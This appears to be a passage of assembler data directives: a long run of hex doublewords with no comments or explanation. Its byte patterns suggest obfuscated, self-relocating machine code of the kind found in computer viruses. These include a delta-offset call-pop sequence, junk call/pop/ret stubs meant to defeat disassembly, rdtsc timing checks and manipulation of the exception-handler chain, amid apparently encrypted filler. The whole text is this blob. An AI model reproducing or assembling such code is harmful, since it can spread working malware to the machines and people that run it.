3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 0C995292Ah, 8B061F31h, 1F2E7D9Dh dd 49B58B06h, 0F0622B2h, 189h, 858BFC00h, 61F2FF1h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0CCC35040h, 32B8A180h dd 0CE817h, 1F160000h, 22A18A2Ch, 87B46EACh, 0B5899052h dd 61F1285h, 0C486895Bh, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 9DF9C350h dd 0CD04C81Dh, 0B5D958Bh, 6A061Fh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 244F60C3h, 517CEDB9h dd 0E2BF6660h, 25C08158h, 610C6AF5h, 0E804C283h, 8, 95E7AA56h dd 677B7A98h, 895BF98Ah, 8DF92050h, 22C79785h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 2EBC8C8Ch, 0E8803AACh, 11h, 0E27F3F1h, 0A094A59Ah, 9A1E7D94h dd 91BBB555h, 0DD95294Bh, 5B061F0Dh, 0B88689h, 14E90000h dd 5C000000h, 45EF5574h, 0BD6BCAF1h, 0E845B474h, 92A4E9C8h dd 6A631886h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h, 0C00ECD17h, 0B70F603Ah, 59D8BD1h dd 61061F0Ah, 10E9h, 0B10B6900h, 5C9FEF4Fh, 0D446CF14h dd 0CBD3F0A2h, 55B5FFB9h, 6A0622B2h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 468FC352h dd 0FFF5CB94h, 1F2F5595h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0B2B3B5DDh dd 0BF9D5AFEh, 6CDCC06Eh, 50C6B396h, 0BF665250h, 310FC323h dd 0EE9h, 59BA1900h, 2872CA8Eh, 5ACF78F5h, 5A042F94h, 6A9658h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 1F91A7C3h, 0FF499CF1h, 22B255B5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 0AD5EC1C2h dd 0BBF7C603h, 95FFF9EBh, 61F0E1Dh, 2FD9501h, 0BD83061Fh dd 61F2C0Dh, 35840F00h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0EC76C352h dd 7398589h, 0E781061Fh, 6D0D8545h, 0D3BB6696h, 66965027h dd 654BC781h, 0B255B5FFh, 81660622h, 0FFD413C3h, 1F134995h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 41BD8BAEh, 0FF061F0Dh, 22B255B5h, 14E906h dd 76D70000h, 0FBFD4112h, 0C37D23A6h, 0BD80585Ch, 92E1F3CBh dd 0BF666681h, 95FFFD37h, 61F1075h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 1EC35242h, 7C09C9E2h, 9BD83ADh dd 2061F00h, 79840Fh, 0DF8B0000h, 14E9h, 81E1E000h, 127FD9DBh dd 3044D4D0h, 2559C328h, 6E5095EFh, 51858B90h, 6A061F17h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 0E05CC350h, 0A6DBD8F4h, 0F3803103h, 0C658h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 69C35343h dd 6E8F8h, 20B90000h, 0FA4476B1h, 5340F781h, 0C75F1DC7h dd 1F129185h, 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 97E4E3A2h, 0DCE9379Ch dd 6AFFFFF2h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 5BADC353h, 561795F4h, 0BB0B2226h dd 5F77B527h, 0BBC18BF8h, 6113B0D0h, 19BD858Dh, 8B53061Fh dd 1F10E19Dh, 50505F06h, 61606052h, 4CC4B5B8h, 310F6105h dd 0FE860h, 86C10000h, 79E43D0Dh, 8D9D6915h, 0C3D42D73h dd 0A0BE5FA5h, 614F053Dh, 489585Ah, 6A006A24h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 2B62C357h, 23E0C1ACh, 0EE9AC57h, 69000000h, 981E4BE9h dd 0DC8E93BDh, 8A30F667h, 0DE9CDh, 0B3030000h, 0D8B27DA0h dd 8381F9B9h, 1F7CF2Bh, 1F1B1D95h, 6A006A06h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 6814C356h, 6FAB858Dh, 9D890623h, 61F2CA5h, 6A05C083h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 9F3AC352h, 109D4A31h, 8B0F50h, 89000000h dd 95892404h, 61F0641h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 0F774F6C3h, 6820F89h dd 8B000000h, 1F1CF59Dh, 99BD8906h, 6A061F08h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 880FF0h, 0FF000000h, 1F016195h, 74A0BF06h, 8D8D1B84h dd 622B1F2h, 745BD89h, 0D1FF061Fh, 12E953h, 48310000h dd 4FA3A2F9h, 0C3EA2DA1h, 2879A163h, 49A22FC2h, 7E95Fh dd 864E0000h, 941881CCh, 0F5BD83D5h, 1061F0Eh, 59850Fh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 9D8929C3h, 61F1F25h, 6AFEBF0Fh dd 0BD896002h, 61F1171h, 118B0Fh, 0CE90000h, 7B000000h dd 67103562h, 0B3678F2Ah, 61B4B564h, 2EBB6650h, 2404895Ch dd 95FFF88Ah, 61F2F55h, 0E91CDB80h, 0BDEh, 0E8h, 0ED815D00h dd 6236FB5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 9FC35040h, 6E94Ah, 69FA0000h, 356A3494h, 1DB13FBFh dd 51006A10h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 79B509CEh, 8D061F1Ah, 228EE485h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 6C15ACAh, 0F2582DFh, 28Eh, 90DE8B00h, 0BB665152h, 5F5B1FAFh dd 12E950h, 3FE00000h, 0DF3467FAh, 390CE9A0h, 938B8494h dd 56B77ADCh, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 820FF8D4h, 0Eh, 219D3160h, 81061F30h dd 0A4B61BF1h, 0FF646133h, 35h, 0E1952900h, 64061F00h dd 2589h, 0DE8B0000h, 0FFFEB70Fh, 1F102985h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 8944395Ch, 1F1EC595h, 0CBF6606h, 0FFF6A5Ch, 0B5FFDBBFh dd 61F0F41h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 0B4C35747h, 1CED95FFh, 0EEE9061Fh, 89000000h, 1F06B995h dd 699D3306h, 0B0061F31h, 6EE78100h, 0E6648EF4h, 0A8A0F70h dd 60000000h, 3049B58Bh, 6160061Fh, 5271E461h, 3C5FD98Ah dd 0BA830F61h, 0E8000000h, 5, 0C387DB17h, 0DF8B666Eh, 0C8B60F5Fh dd 270BD381h, 6BA114Eh, 9000000h, 1F148985h, 1C18B06h dd 1F0699BDh, 4E8C106h, 1EB99D09h, 0F766061Fh, 0D59D33E2h dd 2B061F2Ah, 0FE8B66C8h, 0BF0FD18Bh, 2E9FEh, 0D88B0000h dd 2AD9858Bh, 0C781061Fh, 23E8AC3Ch, 8907C083h, 1F11D99Dh dd 0C08306h, 3BF9BF0Fh, 23830FD0h, 56000000h, 11E9h, 0EF30C100h dd 9BA281B6h, 953B28D8h, 0AA3F9094h, 0E95BE086h, 2Dh, 19D59D8Bh dd 8D8B061Fh, 61F160Dh, 0F01E183h, 1884h, 83D88B00h, 1F160DA5h dd 0BF66FE06h, 9589A0D8h, 61F2AD9h, 0E9h, 58B58D00h, 530622EEh dd 14B18531h, 6A5F061Fh, 9D9D8B00h, 0FF061F1Bh, 1F1D4595h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 0CE44BAF2h, 8E9h, 0B4FE0400h, 462A6C97h dd 873B9D9h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 948666C3h, 1E04038Bh, 83A9B7C3h dd 9D8BFCE1h, 61F2061h, 51006AFCh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 89609130h, 1F036195h dd 11E906h, 56910000h, 0C2AAE3E8h, 791D5429h, 335805BCh dd 6140E111h, 0E853C02Bh, 13h, 83E3CFD7h, 22FA2CDh, 0B1D28087h dd 0A8DA9290h, 8BBE38FFh, 2B5B5BD8h, 538DBFD2h, 33AD79C5h dd 3E8D1C2h, 4E983D0h, 0BD31F475h, 61F3129h, 880Dh, 958BFC00h dd 61F0B5Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 0A8C35545h, 0B8B723A9h, 20C58D8Bh, 6A061Fh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 79907EC3h, 0E4CC7BE9h, 0FF9442Eh, 683h, 219D8B00h, 50061F2Ch dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 56006A58h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 56F844DCh, 0BD8B35F1h, 61F24D1h, 83DF8B66h, 1F078DBDh dd 840F0006h, 5Fh, 6AD8D89h, 0B8061Fh, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 0F846C357h, 9AAF878h, 0FB22369Fh, 0B08D8DF5h, 6A061F4Dh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 9BDBC352h, 44D16373h, 0FFF5625Fh, 83DA8BE1h dd 1F137DBDh, 840F0006h, 364h, 83DE8B66h, 1F137DBDh, 840F0106h dd 36Fh, 0BD835B53h, 61F137Dh, 2A860F03h, 81000003h, 0D81B38DFh dd 6A6074h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 0CAFEA2C3h, 68C0F51h, 89000000h, 1F326DB5h dd 8C665B06h, 0E180F5D9h, 0B18D2904h, 0E8061F2Ch, 0Bh dd 8D24A331h, 0CB7A8894h, 6602D466h, 9509D781h, 0FC90A5Bh dd 0E984h, 858BFC00h, 61F0DC1h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 88C35343h, 0FC9F4F61h, 0C622435Ah dd 9BD2930h, 33061F17h, 1F2EC985h, 50FC8A06h, 489D98Bh dd 0FE924h, 88DB0000h, 0BB167B6Bh, 300317F8h, 0CD4951h dd 6A006A89h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 4E10C350h, 8D669244h, 7E960CEh dd 4C000000h, 919E0483h, 0BF0F9DD0h, 3FB361CEh, 767E4968h dd 0D22CBBEAh, 4812B3Bh, 0A885B624h, 0CDBD8B15h, 0FC061F02h dd 2DE195FFh, 6A061Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 0DCB5FCC3h, 2B999D8Bh, 8589061Fh dd 622B255h, 5B14CF81h, 9D235B42h, 61F0DF5h, 19FE9h, 0C7816600h dd 858B14EDh, 622B24Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 0B9C35343h, 1E4BE969h, 9E9BD98h, 8D000000h dd 4199FCB4h, 1233C33Ah, 1800C7h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0C71332C3h dd 51B58BF9h, 2B0622B2h, 1F0775BDh, 0A1858B06h, 6A061F13h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 8BEFC350h, 1F1B659Dh, 0E8068906h, 0Ah, 0F8A1401Dh dd 0DB7C6F0Dh, 0BD8B068Ah, 61F1DA5h, 0C1858B5Fh, 89061F0Dh dd 0DD8A0446h, 2BBB6696h, 0D98B5031h, 0FFF98B96h, 22B24DB5h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 0A725E15Ch, 0B59D89B1h, 0E8061F2Eh, 4, 1F03FFh dd 0FE8B6653h, 0CE8505Fh, 0D6000000h, 9AAE9575h, 0C04D20C5h dd 8B6F0043h, 448B5FDEh, 8B0424h, 7E9h, 0B50CA500h, 5F8F12ECh dd 4244489h, 0F3816658h, 858D5467h, 622B255h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 86C35343h, 0FFE6D6D6h dd 0E7E0E596h, 671BD8Bh, 6E8061Fh, 3E000000h, 65902C1h dd 12E827h, 3CEB0000h, 4EB3F12Ch, 3BB21E25h, 0E3981457h dd 0FE5C291Ah, 62DB8166h, 505F5BAEh, 489FB8Bh, 0FEB70F24h dd 1FC18D29h, 95FF061Fh, 61F2DE1h, 0F74FBF66h, 56006A61h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 0D699EBB8h, 7D9D8B77h, 0C7061F0Dh, 1F137D85h, 306h dd 3D9D8900h, 83061F16h, 22B255BDh, 840F0006h, 5, 1BE9h dd 0C305000h, 11440011h, 10E8C101h, 2114430h, 3114C00h dd 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0D7DB589h, 840F061Fh, 6, 13F1BD0Bh dd 0BD83061Fh, 61F137Dh, 85850F03h, 0F000003h, 0BD83DBB7h dd 622B255h, 75840F00h, 6A000003h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0F148C355h dd 87037CF7h, 2AC18529h, 0B5FF061Fh, 622B255h, 5BC0B351h dd 0A7D9D8Bh, 95FF061Fh, 61F1BC9h, 68D0Fh, 9D8B0000h, 61F09A9h dd 0B249B58Bh, 0BD330622h, 61F19D5h, 106C7h, 6A0001h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 0F25B83C3h, 550DAEDEh, 0E985314Eh, 96061F20h, 310F5250h dd 585A5B57h, 5E950h, 0D3280000h, 962E7163h, 1B85BD8Bh dd 0B5FF061Fh, 622B255h, 0FF07EF80h, 1F162195h, 68A0F06h dd 81000000h, 0E87032CFh, 8BF8607Ah, 0B58B61C8h, 622B249h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0B6C35242h dd 46AA7FE1h, 8B36C259h, 1F2FF185h, 3830F06h, 80000000h dd 868969E7h, 0C4h, 1D899D23h, 958B061Fh, 61F0B5Dh, 2EDF8166h dd 4C28372h, 2F059D89h, 5089061Fh, 0EE920h, 0BFF30000h dd 3D0BB525h, 0D4ECB82h, 45ABCBF5h, 0C797858Dh, 5F570622h dd 0B88689h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 0A294EFC3h, 2AED8D89h, 6A061Fh dd 0FFF88B66h, 22B255B5h, 4D9D8906h, 0FF061F06h, 1F2F5595h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 40DD71Ch, 0CE85070h, 95000000h, 254A6968h dd 0B2705D92h, 66C7628Dh, 895FDA8Bh, 0BD8B2434h, 61F0F35h dd 0B255B5FFh, 6A0622h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 0EAD3E1C3h, 37F381C9h, 95FF2788h dd 61F0E1Dh, 83D9B70Fh, 1F2C0DBDh, 840F0006h, 61h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0B1C35343h, 0F9B531AFh dd 50061F16h, 7E8h, 34DAD600h, 0E49D3600h, 895FFB8Bh, 6A2434h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 9EA282C3h, 399209E7h, 95890AE2h, 61F11FDh, 55B5FFFCh dd 6A0622B2h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 3A79C350h, 0B8D2514Bh, 9B83D781h dd 0DA8B582Fh, 134995FFh, 6A061Fh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 0E5E9DBC3h, 58A12009h dd 8B270C4Fh, 55B5FFFBh, 6A0622B2h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0C7D4C353h dd 8D898F9Bh, 61F2DC1h, 107595FFh, 6A061Fh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 0DFBD2C3h dd 13E97FE0h, 6B000000h, 0AAE19B91h, 0E4415BC8h, 63AE3C4Dh dd 108AF5A2h, 0BD83C522h, 61F0009h, 3D840F02h, 8B000000h dd 1F175185h, 4810F06h, 66000000h, 0C65200BFh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 0E1FAE9C3h, 89EB885Bh, 9D0B70C8h, 61F2D1Dh, 129185C7h dd 61Fh, 0BD030000h, 61F0E45h, 0FFF594E9h, 53006AFFh, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0D25BA30Eh, 699D0BCAh, 8B061F15h, 50006AC1h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 228DF298h dd 0DFD8D01h, 858D061Fh, 61F19BDh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 0FEC35242h, 0E8C695DDh, 13h dd 51F72CDAh, 0F94CB0E6h, 0D439CC9Eh, 7DE6B4FFh, 0FDC2628h dd 8B5FDEB7h, 1F15959Dh, 52509006h, 5B5B5051h, 8B66310Fh dd 50585AFAh, 8B90FA8Bh, 1F2E699Dh, 66006A06h, 45F7F381h dd 0BD8B006Ah, 61F2AFDh, 7D73858Dh, 0B5010623h, 61F2081h dd 8905C083h, 1F0DA59Dh, 0E1BB9006h, 50393C2Fh, 0DE9h dd 74930300h, 711A1B32h, 6481A047h, 2B907FD3h, 1F022D9Dh dd 0A5BD8906h, 6A061F30h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 367B4BB4h dd 8B006A36h, 1F1701BDh, 6195FF06h, 56061F01h, 19BB6660h dd 0C6B70FA3h, 8F0F5B61h, 6, 10BD9589h, 8D8D061Fh, 622B1F2h dd 68B0Fh, 9D8B0000h, 61F2AB1h, 6AD1FFh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0BE4970C3h dd 0B0416FC8h, 0BD83A011h, 61F0EF5h, 0B0850F01h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 0FB6C353h, 688h, 11BD8900h, 6A061F1Bh, 52006A02h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0F6D4CA80h, 328D82B7h, 0CF99D8Bh, 5090061Fh, 96BF6652h dd 51310F94h, 310F5250h, 5A5B585Ah, 8B665058h, 6A90F8h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 3880EDC3h, 0FFBF6ED9h, 1F2F5595h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0E9C3E248h dd 0DABh, 0E8h, 0ED815D00h, 6237D7Dh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 10C35242h, 12F24723h, 5C5FDE05h dd 0EF8060D4h, 9185292Eh, 61061F13h, 2B859D8Bh, 8B66061Fh dd 0E4858DF9h, 6A06228Eh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 0EDA6C356h, 8B668D73h dd 810F90FEh, 2, 5050DA8Bh, 8EBB6652h, 5A310F80h, 6A9058h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 8B0065C3h, 1F0C519Dh, 35FF6406h, 0 dd 8964FB8Bh, 25h, 0FFD98B00h, 1F102985h, 53006A06h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0C66C5322h, 11E96Ah, 0A03A0000h, 13BE62FAh, 4A33DB73h dd 0A9965BD7h, 6AE266F1h, 53006AFFh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0B8EF922Fh dd 32967240h, 68E0F75h, 8B000000h, 1F1099BDh, 25B5FF06h dd 6A061F30h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 0CD5EC352h, 0F879D781h, 65BF345Dh dd 0FF05B607h, 1F1CED95h, 124E906h, 81660000h, 0B09267C3h dd 0ABD38000h, 8D0970E6h, 61F0AF5h, 0E4F98B66h, 219D8B71h dd 3C061F1Ch, 0FF830F61h, 0F000000h, 0CF81C8B6h, 56FA3909h dd 6BAFCh, 9D8B0000h, 61F151Dh, 0EE8C18Bh, 67000000h, 90E018BDh dd 0FC66A36Bh, 3F8653h, 5BFE8B0Bh, 6604E8C1h, 0D79CF781h dd 0FE2F766h, 0C82BD9B7h, 242D8D89h, 0D18B061Fh, 0A059D33h dd 13E9061Fh, 0E8000000h, 0Bh, 38B87774h, 77747621h, 8B2138B8h dd 858B5FD9h, 61F1D81h, 12B59D89h, 0C083061Fh, 21BD8B07h dd 0F061F03h, 884h, 860F5200h, 0 dd 0C0835Fh, 8E9h, 65361800h, 9932B29Fh, 0FD03BEFh, 2B83h dd 5958900h, 0E9061F0Bh, 56h, 0CB81F860h, 44FA89CFh, 12E961h dd 17620000h, 86E2DD4Dh, 666CF3E8h, 0D7A7DBF7h, 0CD6263EEh dd 2AD18D8Bh, 0B70F061Fh, 1E183F8h, 24840Fh, 8B660000h dd 0D1A583F8h, 0FE061F2Ah, 3840Fh, 0DB800000h, 819589CCh dd 8B061F1Dh, 1F326D9Dh, 0E906h, 0B58D0000h, 622F8CDh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0EBC35242h dd 0B70FEE13h, 6A006AFAh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 13CAC353h, 830F49DFh dd 0Bh, 5890Fh, 81660000h, 0FF2890F7h, 1F1D4595h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0FF344745h, 0B690D5D4h, 45B9493Ch, 6A000008h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 574DC355h, 90F607A6h, 50D5E21h, 8D9D8B52h, 5F061F23h dd 6AFCE183h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 8AD1C353h, 50F936D4h, 6AFC6082h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 715C353h, 153F01FFh, 26B7151Fh, 6AC02Bh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 7C9D3EC3h, 0DE961h, 75360000h, 5E2743F5h, 0E64A60BBh dd 2BF6A8BBh, 0A5BD8BD2h, 0AD061F18h, 0E8D1C233h, 0E983D003h dd 6AF47504h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 0EE47C352h, 0AEC7B193h, 2E9ABF66h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0A9C35242h dd 0DF4D599Bh, 5B8046C3h, 28A0Fh, 0FE8B0000h, 880DDE8Bh dd 0F8000000h, 0B5D958Bh, 6A061Fh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 0D6D1E5C3h, 5AFD06FFh dd 0E9BD895Ah, 8B061F23h, 1F20C58Dh, 9509F906h, 61F14F5h dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 1ACAA6C3h, 5BF13AAh, 89DE8B66h, 1F119995h, 8DBD8306h dd 61F07h, 71840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 83899C3h, 6BF7EEFh, 0A8D0FBDh dd 60000000h, 0DEC08166h, 0F88B66CDh, 0B861h, 9D010000h dd 61F2349h, 4DB08D8Dh, 6A061Fh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 45785BC3h, 0A5858994h dd 0FF061F06h, 919589E1h, 83061F0Fh, 1F137DBDh, 840F0006h dd 445h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 84C35747h, 52DBA4A0h, 7FAEEB81h, 835B2E93h, 1F137DBDh dd 840F0106h, 42Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 0D9C35545h, 0F1DAD586h, 0DE9h, 9993F600h dd 6A3016AEh, 0CB5E3799h, 0BD8397DAh, 61F137Dh, 0B7860F03h dd 6A000003h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 4492C355h, 8B4D9F66h, 1F02FDBDh dd 6A6006h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 0A7A149C3h, 2E789ECDh, 66EFC990h, 6AD98Ch dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 0FF5323C3h, 6A04E180h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 0E9D1C353h, 12h, 0A72F4D29h dd 4D570A3Bh, 0D988099Dh, 0D7FB2C9Eh, 0AF888E2h, 0E2840FC9h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 459FC356h, 4CF81A1h, 8948E284h dd 1F2FB19Dh, 0C1858B06h, 66061F0Dh, 8533DE8Bh, 61F2EC9h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 4BC35242h dd 0ED5C26A8h, 1A18D7C1h, 4895050h, 51006A24h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 0A4C8BD97h dd 10E9h, 5097F800h, 0E5396F70h, 0FC842759h, 0D0C6C249h dd 0E9006AF8h, 8, 52E8740h, 36C52822h, 71001E68h, 171BB88h dd 4811492h, 0AE03E124h, 859D0377h, 0FF061F0Dh, 1F2DE195h dd 6850F06h, 89000000h, 1F242D95h, 55858906h, 90622B2h dd 1F2AED85h, 1D9E906h, 8B660000h, 4D858BFAh, 560622B2h dd 0BE9h, 5E396600h, 0B7B5F995h, 25A9827Bh, 1800C75Bh dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 4D34C353h, 231A5D0Ch, 14E8h, 8E8FDB00h dd 2FEBF6E0h, 0DAEF2475h, 2DC92E63h, 0B237442h, 0CE933h dd 4F7D0000h, 9AC0AE5Bh, 0D4EBC5E7h, 665FABF1h, 1D20F381h dd 0B251B58Bh, 8BF90622h, 1F13A185h, 8B068906h, 1F2A419Dh dd 0C1858B06h, 6A061F0Dh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 1651C351h, 1D28AAC1h dd 0F8A325E5h, 30719D8Bh, 8166061Fh, 8906C2F7h, 0BD890446h dd 61F0D85h, 96ABD380h, 0B810Fh, 52500000h, 0FD88B66h dd 5AE6B331h, 13E95058h, 0FF000000h, 0E42A3A9Eh, 58B46BCh dd 0C009C57Dh, 0AA461AFh, 6A9684FAh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 662CC355h dd 2BB5DB81h, 0B24DB5FFh, 6A0622h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 0E4163AC3h, 97D0ABD8h dd 0F3E80F68h, 0FE870h, 3F090000h, 1519DAADh, 0C886C289h dd 27B70147h, 0F525042h, 8B0F31h, 5A000000h, 34815B58h dd 0ECEBF024h, 0D5BD2970h, 8D061F2Bh, 22B25585h, 6830F06h dd 29000000h, 1F3169B5h, 0E19D8B06h, 90061F00h, 0E8525050h dd 0Eh, 6C64FC31h, 6D3BA0C1h, 0B5F5EF05h, 0AE83C5Bh, 40000000h dd 0A5E6ECE9h, 51BEB0A8h, 0F5F5BEFh, 0B12BBF31h, 585A7735h dd 21BD8B90h, 8B061F1Ch, 1F14FD9Dh, 0E195FF06h, 0E9061F2Dh dd 7, 7AC04ED4h, 6149B5D3h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 7CC35242h, 0EB43999Eh, 3D8CBBFAh, 137D85C7h dd 3061Fh, 0E3810000h, 3D6D74CEh, 0B255BD83h, 0F000622h dd 1184h, 39958900h, 0E9061F2Bh, 21h, 0E3D9D8Bh, 3050061Fh dd 4400110Ch, 0E8C10111h, 11443010h, 